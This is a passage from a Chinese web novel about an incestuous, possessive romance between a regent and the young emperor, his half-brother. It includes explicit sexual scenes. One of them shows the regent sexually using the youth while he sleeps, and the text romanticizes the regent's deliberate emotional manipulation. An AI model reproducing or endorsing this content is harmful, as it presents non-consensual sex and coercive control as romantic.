寝殿里点的安神香很淡,现在夜已经深了,宋南卿的头脑不能很精密地运转,只是略微有些紧张地攥住袖口,脚尖抵住榻边的木头腿蹭了蹭,小声说:“你伤没好呢。” “卿卿来自己动,正好检验一下这些天学得怎么样了。”沈衡顺水推舟,声音不重,像只蓄势待发的猎豹。 宋南卿看着眼前人的脸,咬了下嘴唇,心跳的很快。 以往这种事情,沈衡都是克制的,往往都是他三番四次说想要,沈衡才会满足他一次,说什么小孩子不可以沉迷于此。这种暗示性的邀请,还是沈衡第一次向他提出。 但他,他都和沈衡是那种关系了,怎么可以心无芥蒂地再…上同一张床呢,这是为天地礼法、祖宗传统所不容的东西,虽然说他也没多在意这些束缚,但总归是不一样的。 这是禁忌的东西,被明令禁止的东西,不可以触犯红线的东西。 沈衡是他的兄长……这是二人心里都如明镜般的事实。 “愿赌服输,等什么呢?”沈衡垂眼看他,不薄不厚的嘴唇轻启。 宋南卿越过二人中间的棋盘,一点点挪到沈衡旁边,动作磨蹭又缓慢。绣了紫藤萝花瓣的衣袖宽大,露出来的一截手腕又白又细,上面挂着两只镯子,相互碰撞时发出泠泠的清脆响声。 他情不自禁攥住沈衡的衣摆,坐在人跟前微垂着头,从嗓子眼里挤出一句:“我不会……”可怜的尾音微颤,白皙的手指在墨色衣摆的衬托下显得更像美玉。 一根手指抵住他的下巴往上抬起,少年巴掌大的脸上有着紧张之色,眼睛快速眨着,明艳动人的美貌经过时间的催化显得吸引力更强,微微上翘的唇珠鲜艳欲滴,引着人来一亲芳泽。水涟涟的眼睛瞪圆了望着人,像是无辜受到惊吓的小动物,眼尾的弧线上挑勾人,清纯明明还留了许多,但被露水沾染过的妍丽又为他增添了几分惑人。 沈衡用指腹按着那颗饱满的唇珠轻轻上提,内侧湿热嫣红的唇肉外翻出来,引得宋南卿轻哼一声。 “舔。”沈衡把手指塞进了少年嘴里,高热湿滑的口腔被翻搅了一圈。 宋南卿睫毛微颤,又被塞了一根手指进去,嘴被撑的张开,口水一点点从嘴角滴落,水丝拉长悬空。 “呜……”少年舌尖微动,闭着眼睛去描绘手指的形状,内侧腮肉被顶起变换着手指的形状,他的衣扣被男人另一只手一点点解开,拿筷子拿不住,解扣子倒是十足灵活,轻拢慢挑间前襟就已经敞开。 宋南卿抬手想去挡,嘴里一连串模糊的音调发出,被夹住舌头捻了两下就老实了,眼眶微红着被揉捏,像是一块软软的面团。 桌上的灯被吹灭,里侧宽大的床幔垂下,宋南卿的青丝倾泻铺满枕头,脖颈抬起一阵急颤,抑制不住的尖叫断断续续,被沈衡捂住了嘴,只能发出无助的呜咽。床尾的被子被他踢蹬的一团糟,一个劲往下想推开沈衡的胳膊,但终归是徒劳。 少年的瞳孔逐渐放大,腰背朝上挺起一阵颤动,僵在空中几秒后无力跌落,嫣红的舌尖歪歪吐出未来得及收回。 沈衡捞起床头叠的整齐的帕子擦了擦手指,然后扔到一旁,握住宋南卿还在轻颤的脚踝朝自己身前拖。 “呜不…不要、”宋南卿摇着头拒绝,潮红的脸上还带着薄汗,害怕似的朝后躲,“你骗我!” 沈衡垂眼看他问:“骗你什么了?” “你的手明明已经好了……”刚才那力道和速度,手腕手指手臂缺了一样发力都不会弄成那个样子,还说什么筷子拿不稳,明明就是装的,他看沈衡稳的很。 发丝的香气和肌肤透出的甜香混合在一起,少年用谴责的眼神看他,赤裸的足弓绷起,拨开握在自己另一只脚踝上的手,两下没蹭下去,反而被握住足心抓挠,酥麻酸痒一同袭来,像是有蚂蚁在上面爬一般,那股难耐的劲儿顺着脊柱往上传,他无力软倒在床上打滚,又哭又笑膝盖上弹又下落。 “啊呜呜呜错了、不敢了…放开我!”宋南卿笑得眼泪都出来了,雪白的脚心被有技巧地挠痒,时轻时重的力道弄的他难受,连脖子都红了一片,他又不敢像以前乱踢,怕踢到沈衡的伤口处,只能扯住被子朝前爬去。 忽然感觉后颈处一热,是一个湿湿的吻,而后落到耳根、腮边、眼尾。 散落的长发挡住侧脸,被沈衡缓缓撩起,扭转少年的脸后转和他接吻。 啧啧水声细碎又绵长,两根舌头纠缠在一起,彼此勾连吮吸。宋南卿耳根处的敏感位置被手指按着轻揉,各个位置舒缓拉长的舒适让他陷入其中,像是躺进了云朵里,身体逐渐上升。 他张开嘴唇被舔舐着口腔里的软肉,肉贴肉的触感格外真实,从温热皮肤上升腾而起的相同味道融合在一起,逐渐分不清彼此。 宋南卿身上的带子被解开,他眼神迷离陷入亲密的亲吻中无法抽离,追过去撅起嘴想再贴上男人的唇瓣。 沈衡看他沉迷的样子,轻勾起唇,虎口卡住少年的下巴抬起,二人唇瓣将触未触,彼此呼出的热气缠绕在一处,安神香的味道飘散过来,在此刻并不能起到安神作用。 宋南卿虚虚抬起睫毛,眼神迷离张开嘴唇,嫩生生的红舌吐出一点,由于亲吻惯性对着沈衡凑过去,想被再含一含舌头。 “唔……”舌尖被勾进嘴里吮吸,酥酥麻麻的感觉从头皮炸开,宋南卿好像嗅到了花香,头脑晕晕乎乎,攥住人衣襟的手腕上,两个镯子相互碰撞,时不时脆响。 刚刚被拨到一旁嫌碍事的小团布料系带散开,等热烫的温度传来,宋南卿才像猛地反应过来般捂住那一小块布。 岂料他动作太过匆忙,本来只是轻轻抵住将触未触,这下子被他彻底捂在了自己身上。 少年猛地一抖,脚趾紧紧蜷缩起来,声音都不稳:“不、先生不能……”他不敢松手,又不敢继续按着,手指隔着一层薄薄的布料不知所措地曲起。 沈衡眸色沉沉盯着他,声音低哑:“理由。” 宋南卿慌忙躲避着对方的视线,咽了下口水,被烫得难耐,小腿肌肉收紧。 “你知道…你知道的。” 沈衡抓住他遮挡的手往旁边压住,“我不知道,别挡。” 眼看他要硬来,宋南卿梗着脖子咬牙喊了一声:“兄长!” 空气安静了几瞬,死一般沉寂。 “你不能那么做…”宋南卿抖着嗓子轻声说,生怕惊扰了什么。 低沉隐忍的喘息声在耳边响起,沈衡松开了那一小团已经被洇透了布料,轻轻呼出一口气,努力克制脾气对宋南卿问:“亲你可以,手指可以,就这个不行,卿卿对兄长的定义就是如此精准,是吗?” 质询的问话中讽刺性意味很明显。 宋南卿之前有段时间没和沈衡亲近了,现在好不容易可以像之前一样放下芥蒂好好说话,他受不了沈衡那么凶对待他,忙拉住沈衡的袖子道:“我、我…不是这个意思。” 沈衡叹了一口气,把袖子从他手中扯走,柔软的被子拉开摊平,盖在少年身上。 “睡吧。” 宋南卿攥起手指感到无措,“先生……” 沈衡把灯都灭了,坐在床边回头看他。 “先生还是兄长,亦或是别的什么,需要你自己想清楚。” “要后悔,就回不了头,在我这里没有折中的办法可选。” 月上中天,照的窗前亮堂堂,白白的一层霜铺在窗台上,洁白明亮。 屋里除了外面映进来了一点光,黑漆漆一片,坐在床边的人影几乎看不见—— 作者有话说:[猫爪] 第65章 第六十五章 咽下去 阳光正好, 为初冬的院子里增添了几分温暖,沈衡在花房里拿着水壶浇花,竹心站在他身后汇报道: “有许多人听说您为救陛下受伤在家, 送来了些东西还想登门拜访, 奴才按您的吩咐都拦在外面了。” “九王谋反一事还未盖棺定论,当日出手的九王下属都是硬骨头, 咬死不认是九王指使。九王还在诏狱多次辱骂陛下, 说…说……陛下罔顾人伦, 连亲兄长都加害,还说了一些不好听的话。” 沈衡单手背后, 宽大的衣袖垂下, 火红的虞美人在他手下沾了些水,娇艳欲滴。 墨玉雕刻的蟠龙纹簪子插在脑后,宽阔的肩膀抬起, 他伸手去够悬挂着的吊兰叶子, 另一只手拎着喷壶在上面漫不经心喷水, 随口道:“舌头割了吧, 反正以后也没说话的机会。” 竹心点头称是, “突厥王传信来,问计划如期举行, 报酬何时能给?” “报酬?”沈衡冷笑一声,把浇水壶放到地上,“等九王死了再让他给我谈报酬。” “陛下加冠礼临近, 等贺西洲从突厥前线回来,阅兵仪式上行动。”沈衡眸子里闪过冷光,“若是再像秋猎时那般莽撞,就让他滚回去。” 竹心点头, “属下明白。” “但属下还是有一事不明,当日秋猎,和九王合作的突厥人都是咱自己人,您为什么非要受这一箭?” 沈衡擦着吊兰叶子上的灰,转头问他:“你觉得陛下是个什么样的人?” 竹心犹豫了片刻,挑着他爱听的说:“主子受伤之后,陛下亲自照料,是个对您用情甚重的人。” 听他那么说,沈衡嘴角微微上扬,“他是天上的月亮,想把月亮摘下来,总要付出点代价的。他对我用情多深就有多恨我,必须要让他把心中的恨意抒发出来,才能舒服。” 竹心摇了摇头,不懂他俩这世间最有权势最聪明的两个人到底是在纠缠些什么。 “本王突然想起,昨日你说陈姨递了帖子来?” 竹心眼睛一亮,“是,公爷夫人想同林小姐一起来拜访,看望您的…伤势。”他眼睛里含着八卦的神采。 陈夫人是昭阳长公主的闺中密友,公主还在世时,就和她开玩笑说过,以后的孩子若是一男一女,便要结成亲家。谁料一入科尔沁,转身散为黄土,天人永别。 但对公主这个唯一的孩子,陈夫人还是很为照顾的,沈衡为质子时,她还只是个阁中小姐,有心无力帮不上忙,但也拜托父兄能照顾就照顾一点,当初沈衡被任命为征战科尔沁参谋之时,也是陈夫人的父兄帮忙说了些话,开府后也一直有些往来。沈衡对于这个母亲旧友,是很感激的。 但是偏偏这位陈姨一门心思想把女儿嫁给他,那个林小姐又是家中独宠的宝贝,要风得风要雨得雨,看上沈衡就不罢休。还是前阵子京中传他包小倌在家里养小男孩,又惹怒了陛下,林小姐才消停了一阵。 但如今摄政王救陛下于危难关头,挺身而出的事迹谁都知道,她的心思又活泛起来。 沈衡根本都记不清那个林小姐的脸,但一想起宋南卿,他拿起剪刀“咔嚓”一声剪掉了枯掉的叶子,吩咐道:“府上如今清闲,若是她们来,我亲自接待。” 竹心点点头:“是,属下这就告诉她们您有事……哎?”他诧异望向沈衡。 以往不是都不见的吗?怎么这次不按惯例出牌了。 不远处的脚步声由远及近,宋南卿眼尖,隔老远就看见沈衡在举着剪刀修剪花草,他瞪圆了眼睛气冲冲朝沈衡跑过来。 谴责的话还没说出口,沈衡拿剪刀的手腕抖了抖,手指蜷缩无力抖动,剪刀“啪”的一声掉在了地上。 原本想谴责沈衡受伤还不好好歇着的话调转了个头,对着旁侧的人头上噼里啪啦砸去。 “竹心你怎么回事儿啊?摄政王受伤还没好你不知道看着点!这点小事还让他自己做。”宋南卿瞪了一眼竹心,忙捧起沈衡的手,指腹蹭过人的手背,细声安慰道:“没事的,伤筋动骨一百天,总归要好好休养才能恢复如初,我从李大哥那儿学了几招按摩手法,等会儿给你试试。” 岂料沈衡躲开了他的手,声音淡淡:“君臣有别,陛下好意臣心领了,竹心也是听吩咐做事,自己做不了主。” 宋南卿愣住了,眼睛里的光黯淡了一瞬,然后重新振作起来道:“我看今早有酥鱼,还有小笼包子,先生用过饭了吗?一起去吃吧!” 沈衡点了点头。 二人并肩在长廊走着,衣袖时不时相触,宋南卿想去牵他的手,又想起前晚上不欢而散的对话,手指蜷起又放下。 餐桌上新换了桌布,绣着红色腊梅的米色桌布很有冬天意境,宋南卿捧着碗喝粥,轻轻拍了拍沈衡的胳膊道:“我想吃那个春卷。” 春卷离得有些远,他不想费力去够,于是按照习惯想让沈衡帮他,未经思考的话脱口而出,他才意识到如今沈衡受伤,刚想制止,对方已经夹起春卷。 “无事,恢复了一些,拿筷子还无碍。”沈衡收回胳膊,筷子中间小巧的春卷很诱人。 宋南卿张开嘴靠近,没想到春卷没有送至他嘴边,而是放在了自己面前的盘子上。 相当有礼数的距离,丝毫挑不出错处,他已经不是小孩子了,没道理等着别人喂。 一股无形的失落和落差感升起,宋南卿握筷子的手指紧了紧。 亲密关系是一点点形成,等发现的时候已经融入骨血之中,他想拉开二人的关系回归正常的距离,但这些早就融入每一寸骨血的习惯,却轻易改不掉。 他早就打着幌子接受了沈衡那么多过分亲密的举动,受到了无微不至的不同于正常学生和弟弟的宠爱,却只想享受好处,不想给这段关系一个名分,自欺欺人。 沈衡拿着勺子搅动碗里的粥,“我的伤已无大碍,陛下还是回宫吧,朝中一些事务也等着处理。” 宋南卿听到这儿,抿了下唇对他问:“你是在赶我走吗?” 你不想我陪着你吗? “不是。”沈衡浅浅望着他,“我在等你的答案,在等到之前,我不想让你觉得冒犯。” 同样的,那些过于冒犯的、过于亲密的,我们也先不要再有。如果你的答案是否定,那么以后都不会再有。 我要的是果断,是清清白白地说明白,是你站在我面前对我说:不管是血缘亲情还是外敌计谋,我们的关系改变不了分毫。我不要暧昧不清的试探和毫无凭证的相贴。 这是沈衡的态度。 强硬的手段他已经使过了,先紧后松,先围牢笼后再松开禁锢,这样猎物才会无所适从,想念绑在自己身上的绳子,风筝才能牢牢握在自己手中。 ———— 冬日的午后晴朗,阳光也不刺眼,宋南卿躺在榻上午睡。 狐裘大氅盖在他的身上,雪白的狐狸毛衬得他睡容恬静,浓密的睫毛垂在眼下,被斜照过来的阳光一打,投下一片阴影。 一根修长的手指轻轻触碰到睫毛,沿着眼睛的弧度勾画,慢慢来到眼尾。 沈衡坐在床边低头看着睡梦中的少年,指腹轻柔地落下,摸了摸柔软的脸蛋。 少年薄薄的眼皮在阳光下透着粉,细小的青黛色血管在上头浮现。沈衡倾身在眼皮上落下一吻,像是在吻什么珍视的宝物,热热的舌尖舔在上面沿着眼睑来回移动,粉色的眼皮内侧黏膜被翻开,眼球隔着一层皮肤在舌尖下滚动。 宋南卿的脸颊肉被轻嘬了一口,手心被塞进了一个东西,手指搭在上面握起,随着沈衡的动作随之摩擦,很快手心就红了一片。 湿哒哒的掌心无力摊开,房间里很安静。 少年吃过饭后半个时辰就会午睡,现在正是他睡得最沉的时候,柔软的狐皮大氅足够温暖舒适,他像陷入云朵中,不知道外界发生了什么。 粉红唇瓣被拨开,小小的红舌被扯出搭在齿间,宋南卿的口张开成一个小洞,艳红漆黑的湿润小洞,很快被填入了东西。 沈衡抵住少年的下巴朝上合起,凑在人耳边低声哄道:“咽下去。” 白花花的浓稠液体沾在嘴角流出,“咕嘟”一声,宋南卿吞下满口东西,嘴角被红色舌尖舔过,他翻了个身,咂巴咂巴嘴发出无意义的呓语。阳光洒在侧脸上,像是镀了一层圣洁的金光。 ———— 沈府大门口的两个石狮子朝阳坐立,一辆马车缓慢在门口停下,林晚提着粉红色裙摆跳下马车,一面回过头催促自己的母亲:“娘,你快些!” 绕过门口的假山树木,林晚和陈夫人在下人的引领下来到会客厅,沈衡垂着袖子正在泡茶,看人来了之后起身露出微笑:“陈姨,有段时间没见了,朝中事忙一直不得闲,如今是彻底闲下来了,让您看笑话。” 陈夫人似是谴责又像是无奈一笑,“你坐,听闻你为救陛下受伤,晚儿吃不下睡不着的,一定要我来亲眼看过才放心。不过这是忠义之事,值得嘉奖,伤口恢复的怎么样?” 三人在圆桌相对而坐,竹心接过茶壶替客人斟茶。 沈衡道:“没有伤到要害,只是要完全恢复还需些时日,陈姨不必忧心。” “我看你府上也没什么可心的人,受伤最是需要人照顾的时候,要不正好让晚儿留下,她最是细心。” “是啊沈衡哥哥,我肯定能照顾好你的。”林晚声音清脆,一双眼睛看着他时很认真,平日十指不沾阳春水的大小姐说起瞎话来真是面不改色。 交谈声中,会客厅后的屏风上影子移动,一只修长纤细的手撩开帘子,碧绿色的翡翠扳指点缀其上,华光尽显。淡绿色的锦衣蹁跹露出一个衣角,清亮的声音从屏风后传来,人未至话语先落。 “沈衡哥哥?” 带着疑问的压迫感由远及近,等宋南卿彻底从屋里出现迈出脚,清雅华贵的身影在日光下大大方方展示在每一个人眼中。 青缎粉底小朝靴被半踩着,从下往上看去,来人罩了一件石青色起花八团排穗褂,刚睡醒头发是散的,绸缎般丝滑浓密的乌发随意垂在腰间摆动,未施粉黛的一张脸澄然动人,粉红色的唇珠增添了一抹俏丽,清瘦挺拔的少年身形像是一握即散,又如青竹般不易折断。 他半踩着小羊皮软靴,脚跟露在外面,行走间靴子“啪嗒啪嗒”响,他走到沈衡旁边,单手撑着太师椅的一边扶手倾身,看向林晚问:“谁是你哥哥?” 亮晶晶的眼睛里带着居高临下的打量,宋南卿靠在沈衡胳膊旁边,发丝扫过男人手心,面对林晚是带上了连自己都未察觉的敌意。 林晚张开嘴想说些什么,却看见沈衡眉头微皱,垂手勾住少年踩扁的靴子边,手心拢住粉红的圆圆脚跟塞了进去。 “刚睡醒连鞋都不穿好就出来?”浓密的剑眉微压,沈衡捻了一把少年衣袖,对后方竹心吩咐道:“去把榻上狐裘取来。” 宋南卿扁了下嘴,“我不要穿那个,屋里一点都不冷。” 眼看这个少年从沈衡寝殿出来,这亲密依赖不似作假的模样让林晚瞪大了眼睛,她拽住母亲的袖子扯了扯,一脸不高兴。 “咳…那个沈衡啊,这位是……”陈夫人笑容变得勉强,望着眼前俊俏夺目的少年问。 沈衡还没来得及回答,宋南卿瞥了她一眼,握住人的手指用自以为很小声实则全部人都能听到的音量说:“哥哥,你什么时候又多了一个妹妹?我怎么不知道。”—— 作者有话说:卿卿请大家喝点绿茶? 第66章 第六十六章 你是想自己当嫂子 之前外界一直有传闻, 说摄政王从凤栖楼接了个小倌回家养着,陈夫人原本不相信,但如今看来, 眼前这位大概就是了。 只是这金尊玉贵的模样, 光是一头乌黑顺滑的头发保养就得花上不少银子,那小羊皮靴也是价格不菲, 平常人家都是出门才会穿的东西, 被他在脚底胡乱踩, 这折痕一出可就不会消退。从头到脚都是一水儿的精细料子,看那天不怕地不怕的模样, 平时也没受过什么委屈。 陈夫人不着痕迹打量着宋南卿, 她身为公爷夫人平日什么好东西没见过,但还是被少年指头上那枚成色绝佳价值连城的翡翠扳指惊了一下。 沈衡露出歉意对陈夫人道:“卿卿年纪小顽劣,陈姨和林小姐别放在心上, 他是我远房表弟, 在府上暂居。” 远房表弟?沈衡的母亲是公主, 有哪门子的表亲弟弟, 他们可从未听说过。 陈夫人和林晚对视一眼, 继而道:“既然你伤势并无大碍,我们也放心了, 其实今日除了来看望你,姨母还有一事。” “家中在京郊买了个新园子,想着开春动工好好装修一番, 公爷一直说摄政王府的山水都好,想来学学布置构造。”陈夫人喝了口茶接着说,“正好晚儿于设计方面有天赋,跟随北园寺建造师父修行过一些时日, 其实她是想来偷师的。” 陈夫人抿唇一笑,“就是不知摄政王肯不肯。” 林晚拿起帕子挡嘴轻笑,“沈衡哥哥应该不会如此小气吧。” 宋南卿握着桌角在心里念道:“快拒绝,快说不可以啊!看什么建筑设计都是幌子,那么大的沈府她就是看个十天半个月的也看不完啊,她明显在打你主意,快点拒绝!” 他低着头悄悄给沈衡使眼色。 “园林设计我也不懂,林小姐想看就请自便。” 陈夫人露出了真切的笑:“不会过多打扰,你好好养伤,这是一些滋补药材,对血肉恢复最有益处,晚儿懂怎么煲汤最相宜。” “家中还有些琐事,我先离开了,晚儿,别给你沈衡哥哥添麻烦,听到了没有?” 林晚点头:“我知道了!” 宋南卿手里的扳指都快被他捏碎了,他踩了沈衡一脚,又踩了一脚,想发脾气又因为有外人在场,只能作罢。 那边林晚已经开始看会客厅的布局,在沈衡身边问植物问梁柱问地面,光是看着他二人同坐在桌前,宋南卿就受不了,他深深吸了一口气,“我有话对你说。” 抛下一句话给沈衡,他就转身离开朝屏风后面的房间走去。 铺了羊毛软毯的榻触手生温,宋南卿脱了鞋坐在上面生闷气,把手上扳指脱下来想要扔出去,又怕真的弄丢了,只能扯着毯子上的毛出气。 梅花的香气很淡,折枝插瓶后映衬着瓶上的青花纹路,在案几上投下花枝颤动的影子。 沈衡不紧不慢走入屏风后面,一进来就闻到温润的梅花香气,他看见少年抱膝坐在榻上垂头的样子,缓步走过去坐在旁边。 “你让我走,是不是因为她要来,嫌我碍事了?”宋南卿仰起头看他,眸子里尽是倔强和怒意。 “说什么不会娶妻,其实已经在物色了对不对?林小姐知根知底,又会照顾人还会煲汤,一身本事连建筑设计都得心应手,不像我整日只知吃喝玩乐,惹你生气。” 沈衡单手支在案几上,眉头微蹙,“你跟她比什么?” “我比不过是吗?”宋南卿冷笑,猛地在榻上站起来,指着沈衡道:“我不许!你答应过我不会娶妻的。” 他跺了跺脚,被沈衡拉住胳膊往下扯,一个趔趄跌倒了人腿上坐着。 “如果不喜欢她,让她走便是,但卿卿又是以什么身份不让我娶妻呢?”沈衡的大腿肌肉刚劲有力,支撑着少年整个身躯,“就算是陛下,也没有禁止臣子娶妻的权力。” 宋南卿虚虚搂着他的脖子挂在人身上,把头埋到沈衡肩膀处闷闷道:“我还不想要嫂子,不行吗?” “不想要嫂子,你是自己想做嫂子。”沈衡淡淡道。 宋南卿忽然仰起脸,脸颊擦过人的下巴,颧骨下方皱出两道纹路,矢口否认:“我没有!” 离得近了,颇具吸引力的熟悉的味道传过来,让宋南卿忍不住想亲近。软软的脸凑上去,想和沈衡的相贴,被躲开了。 宋南卿露出失落的表情,手指绕着人的腰带穗缠绕,求而不得的焦躁在全身游走,他的舌尖抵着牙齿,又贴近了几分。 “想抱一下…”刚刚他听见别人叫沈衡哥哥的场景属实在他心底留下了不可磨灭的烙印,他都没叫过呢,林晚凭什么!一股有什么要失去的无措感让他迫切想得到一个拥抱,确认沈衡还在自己触手可及的地方。 瘦削的身躯在宽大的外衫中间摇晃,淡绿色的锦衣上,暗纹在少年的动作间折射着阳光,花纹连成行,波光粼粼的银线也如河流上的水光。 玫瑰膏子的尾调残留了一些,甜甜的味道通过宋南卿的脸颊传到沈衡鼻尖,柔软的身躯贴在自己胸前,少年垂眼不满地撅起嘴,小声说着想抱一下,忽闪忽闪的大眼睛一下抬起,里面含着淡淡的请求。 沈衡沉默许久,抬起一侧胳膊把他朝怀里拥了拥,肌肤相贴之时久违的安全感让二人都得到心灵上的放松。 几缕发丝飘散,拂过沈衡的脸,淡淡的香气扑鼻,在温暖的房间里馥郁安神。 宋南卿的眼睛转了转,在人耳边问:“她不会要住在这儿吧,没有空房间了,况且你们男未婚女未嫁的,住到人家里来算怎么回事啊!我不想她住…” 沈衡下巴微抬压在蓬松的发顶,手掌搭在少年后腰上微微收紧,“你去跟她说?“ “我、我怎么说。”宋南卿仰头,手臂收紧挂在人脖子上,由于二人身高的差距,坐在沈衡腿上缩在怀里的样子并没有显得奇怪。 沈衡望着他的脸,“刚才那不是很会说吗?” 宋南卿抓起案几上的松子剥开,哼哼唧唧道:“她又不会听我的。”一颗小松子被他搓开上面那层内膜,送到了沈衡嘴边。 如云朵般柔软的衣袖垂下一截盖住手背,粉红纤细的指尖捻着洁白油润的松子,甚至还能闻到一丝衣袖里的清冷香气。 沈衡张开嘴被喂了一粒,细嫩指尖滑过嘴唇,一触即分。 宋南卿低头剥着松子,没两下就被磨得指尖泛红,一粒小小的松子仁被按到沈衡唇齿之间时没被咬住,朝下滑去。少年手上的镯环相撞叮当作响,手忙脚乱去接,但没来得及,松子仁顺着男人衣领滑了下去。 屋里很静,墙角的兽首香炉里飘着淡淡的香雾,少年倾泻而下的长发也如雾一般,散开在脖颈后方,衬得那截细颈白皙修长。 宋南卿垂着头手腕一抬,隔着一层外衣按住那颗小小的松子,正好是男人胸口的位置,二人对视了一眼,谁都没说话。 镶嵌了五彩宝石的镂空雕花金镯子从少年的一截纤细皓腕处滑下,他喜欢那些亮晶晶的宝石,沈衡干脆找能工巧匠替他打造了个手镯,形状各异的宝石镶嵌其上,璀璨夺目,成色极纯的黄金手镯宽窄相宜,扣在腕子上华贵漂亮,这等价值连城的饰品就该戴在身份尊贵的少年身上。 太阳的余晖从窗子透进来,照在镂空的金镯子,碎金光芒一瞬间迷了人的眼。 手指按在胸口随着松子的移动方向一路往下,逐渐来到了小腹,轮廓分明的肌肉在手指下可以描绘出形状,宋南卿的喉结微动,睫毛上下一扇,凑近了一些缩短二人中间的距离。 他有些恍惚,坐在沈衡的大腿上,再凑近二人几乎要鼻尖相贴,呼出的气息交缠在一起。 宋南卿的视线里只有近在咫尺的那张熟悉的面孔,他紧张地转动眼睛,瞥见桌上果盘里放了几个金灿灿的贡橘,手指在下方腹肌的中线处轻轻蹭动,等渐渐往下再动就要摸到奇怪的位置时,沈衡抓住了他的腕子。 岂料宋南卿等的就是他动作。 趁着沈衡朝下抓他手之时,少年往前仰头,对着人的嘴唇就要贴上去。 但沈衡是谁?百步穿杨神射手,敏锐的反应速度即使是受伤之躯,也要比平常人快上几倍。他猛地偏过头扣住少年的下巴,拇指按在脸颊上陷下去一个小坑,宋南卿的唇珠几乎就要贴上,但被控制在了一寸之外。 “卿卿,不能这样。”低沉的声音里已经含了警告和不悦,宋南卿攥着手指,为自己没能得逞而失落,巴掌大的脸被攥在手里,表情可怜又不满。 “沈衡哥哥……”他学着林晚叫人的语气,拉长了尾音,撒娇意味甚重。 按在他脸上的食指用力更深了几分,沈衡眸色沉沉,“不可以。” 宋南卿皱着眉瘪瘪嘴,抱住眼前人的手臂道:“那你不许别人叫你哥哥。” 沈衡手松了松,“嘴长在别人身上,我管不了那么多。” 宋南卿歪过头把脸贴在人掌心,声音很轻:“九王早晚会死的,你只是我一个人的哥哥…是不是?” “有些事,以往君臣师生不能做的,兄弟之间更不能做。”沈衡缓缓道。 “你答应过我不会娶妻的。” “但你先反悔了,不是吗?契约承诺在一方悔诺之后,就不成立了。”沈衡道,“这是我的私事,就算是弟弟也不能过分干涉。” 水雾在眼眶里凝聚,宋南卿抱住他的肩膀重复道:“我不要,我不管——你是我的。”他把脸埋在沈衡颈侧轻蹭,窝在人怀里像是小鸟归巢,蛮不讲理的话被他说得娇纵自然,哼哼唧唧要着安慰。 沈衡任由他挂在自己身上,抬手拿起一个金桔剥开,橘子皮瞬间释放出酸涩清新的味道和水汽。 “你太任性了。”不像是谴责,他只是淡淡陈述了这句话。 橙黄色的橘子被剥开,手指分开橘子瓣,一点点撕去表面的白色经络,动作细致又优雅。宋南卿眼巴巴望着他,嘴唇微张朝橘子的方向够去。 饱满多汁果肉充盈的橘子瓣像是要包不住里面的汁水,在男人手里快要爆开飙水。沈衡抬起手,那瓣被剥好的橘子没有送进少年嘴里,反而送入他自己口中。 宋南卿扁起嘴呜呜假哭,露出委屈的表情,抓住男人的手臂轻晃。 “我也要吃,你不能对我那么坏…” 已经习惯了沈衡事事以他为先,全方位的照顾和关切,衣来伸手饭来张口的日子不知道过了多少年,他没办法接受沈衡眼里没有自己的日子,不把自己放在第一位的日子。如果他是名为溺爱的温水里被煮的青蛙,那么早就已经没办法离开这锅水。 “已经让你抱着了,还想怎么样?”沈衡眉头一压,表情平静。 那枚遗落的松子从衣摆下方滚落,“啪嗒”一声掉在地上。 宋南卿道:“想和以前一样。” 窗子外头的树干树枝已经枯了,松树的果实也早就凋落殆尽,全然不似橙黄橘绿时灿烂繁茂,初冬的空气都带着干燥的独特气味,只有在温暖的屋子里才能伸展四肢。但宋南卿却觉得不自在,张不开手,也伸不直腿,整个人像是拧成了麻花一样无法舒展开来。 沈衡低头看着他,掺杂了琥珀色的眸子里尽是认真,“你明知道,那不是君臣师生之间会有的,更不是兄弟之间会有的。”—— 作者有话说:[狗头叼玫瑰] 第67章 第六十七章 几日没教,又不听话了…… 宋南卿的胸口不断起伏, 内心像是有五颜六色的线缠绕在一起挣脱不开,最终低下头小声说:“我错了。” “嗯。”沈衡应了一声。 “我又反悔了。”宋南卿的声音像是瓷瓶里梅花的香气,很淡但却能钻进人心里, “你还能接受吗?” 他忍受不了没有沈衡在身边的世界, 甚至忍受不了沈衡对他稍微不好一点,自从登基之后, 他从来都是被捧在手心的宝贝, 稍微被放低一分一毫, 再回到那个不被偏爱的世界里,他没办法接受。 沈衡道:“我如果说不能呢?” 这些天宋南卿一直在和自己的内心做挣扎, 他在朝廷政事上从来都是杀伐果决的, 没有犹犹豫豫瞻前顾后的时候,但面对感情这件事,却总是做不出决定, 反悔加反悔。沈衡于他是一个变数, 一个特殊的存在, 独立于他的体系之外。 让一个帝王承认有人是不受自己理智控制的, 其实是一件很难接受的事。 宋南卿久久无法释怀的不是二人的血缘关系, 而是他真的意识到了沈衡在他心中的特殊地位。 沈衡是同样有着皇位继承权的兄长,是和九王一样可以替代他的存在, 权势滔天。在他一直以来的受教育体系和理智中,对于这种存在,一定是要尽早杀掉的, 但是他发现自己和以前不一样了,他做不到如此狠心。 这对没经历过多少感情的人来讲是一个巨大的冲击。 当初在贾良死后,宋南卿面对母亲的墓碑还能说出“如果有一天他真的威胁到了我,我一定会杀掉他毫不手软”这种话, 但不知道什么时候开始,他没办法做到理智客观。他不懂感情,从小到大,除了早就离开人世的母亲和沈衡,他没有在任何一个人身上学到过什么是感情,感情是依靠也是束缚,他不懂。 所以当越来越深的感情把他包裹,他深陷其中无法自拔时,首先感到的是害怕,害怕身上的包裹越来越紧,终有一天会把自己绞杀。所以他越爱沈衡,陷的越深,就越恨沈衡将他拉入这片名为爱的禁地。 这是他自己需要想清楚的课题,感情从来都是一体两面,安全感和枷锁是为双生,沈衡一开始就把名为束缚的那一面一股脑朝他展示,也是为了让宋南卿尽快意识到这段感情的阴暗面,早意识到才能早接受,逼他作出决定和选择,越拖越容易放弃,他对宋南卿的了解或许比本人更深。 将这段感情的所有缺点都展现之后,再把宋南卿习以为常的那些优点撤去,让他意识到如果失去这段感情,他一并失去的还会有什么。 习惯了偏爱的小孩,没有办法忍受失去,纵使知道接受之后面对的会是管教、束缚,他也不能放弃随之而来的照顾和溺爱。 沈衡把一瓣剥好的橘子递到少年嘴边,酸甜的香气钻入鼻尖。 宋南卿一口咬住橘子果肉,声音沉闷:“你是我的。”他猛地立起身子抱住沈衡,重复道,“你是我的!我一个人的。” 不管是哥哥还是旁的什么,都是属于他宋南卿的,只属于他宋南卿的,他是皇帝,这世间有什么是他不能做的? 他们的红线埋在血管里,出生时就已经注定会亲密无间。拉扯纠缠相互试探那么久,还是没办法彻底分开。 “祖宗礼法,天地人伦……”沈衡挑眉。 宋南卿皱起鼻子哼了一声,“让他们都去见鬼吧!” 